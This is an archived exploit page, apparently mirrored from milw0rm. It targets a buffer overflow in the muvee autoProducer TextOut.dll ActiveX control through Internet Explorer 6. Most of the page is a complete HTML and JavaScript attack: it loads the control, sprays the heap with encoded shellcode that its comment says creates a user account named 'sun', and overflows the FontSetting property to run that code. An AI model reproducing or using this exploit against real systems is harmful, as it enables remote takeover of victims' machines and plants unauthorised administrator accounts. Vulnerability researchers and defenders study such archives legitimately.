muvee autoProducer <= 6.1 (TextOut.dll) ActiveX Remote BOF Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType

muvee autoProducer <= 6.1 (TextOut.dll) ActiveX Remote BOF Exploit. Buffer overflow in muvee Technologies Text-Effect DXT Filter for autoProducer (TextOut.dll v6.0.18.1) allows remote attackers to execute arbitrary code via the Fontsetting property


                                                &#60;!--
muvee Technologies Text-Effect DXT Filter for autoProducer (TextOut.dll v6.0.18.1)
Fontsetting property remote buffer overflow exploit

bug found by Nine:Situations:Group::Trotzkista
our site: http://retrogod.altervista.org/

software site: http://www.muvee.com/en/
packages: muvee AutoProducer 6.0 / 6.1
tested on Win2k3 datacenter edition / IE6
          WinXPSP2 / IE6
dll settings:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller

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--&#62;
&#60;html&#62;
&#60;object classid=&#39;clsid:AA478771-468A-41AB-9D97-263B6580FE8C&#39; id=&#39;DXTTextOutEffect&#39; /&#62;
&#60;/object&#62;
&#60;script language=&#39;javascript&#39;&#62;
//completely ripped from a rgod exploit
//add su one, user: sun pass: tzu
shellcode = unescape(&#34;%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949&#34; +
                     &#34;%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a&#34; +
                     &#34;%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241&#34; +
                     &#34;%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c&#34; +
                     &#34;%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c&#34; +
                     &#34;%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f&#34; +
                     &#34;%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b&#34; +
                     &#34;%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c&#34; +
                     &#34;%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871&#34; +
                     &#34;%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835&#34; +
                     &#34;%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b&#34; +
                     &#34;%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b&#34; +
                     &#34;%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34&#34; +
                     &#34;%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35&#34; +
                     &#34;%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550&#34; +
                     &#34;%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b&#34; +
                     &#34;%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c&#34; +
                     &#34;%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943&#34; +
                     &#34;%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370&#34; +
                     &#34;%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377&#34; +
                     &#34;%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630&#34; +
                     &#34;%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265&#34; +
                     &#34;%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330&#34; +
                     &#34;%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574&#34; +
                     &#34;%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030&#34; +
                     &#34;%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f&#34; +
                     &#34;%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e&#34; +
                     &#34;%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242&#34; +
                     &#34;%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741&#34; +
                     &#34;%u7734%u4734%u4570&#34;);
bigblock  = unescape(&#34;%u0A0A%u0A0A&#34;);
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length&#60;slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace&#60;0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i&#60;510;i++){memory[i] = block+shellcode}
buff=&#34;&#34;; for (i=0;i&#60;500;i++){buff = buff+unescape(&#34;%u0d0d%u0d0d&#34;)}
DXTTextOutEffect.FontSetting=buff; window.location.reload( true );
&#60;/script&#62;
&#60;/html&#62;

# milw0rm.com [2008-06-12]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1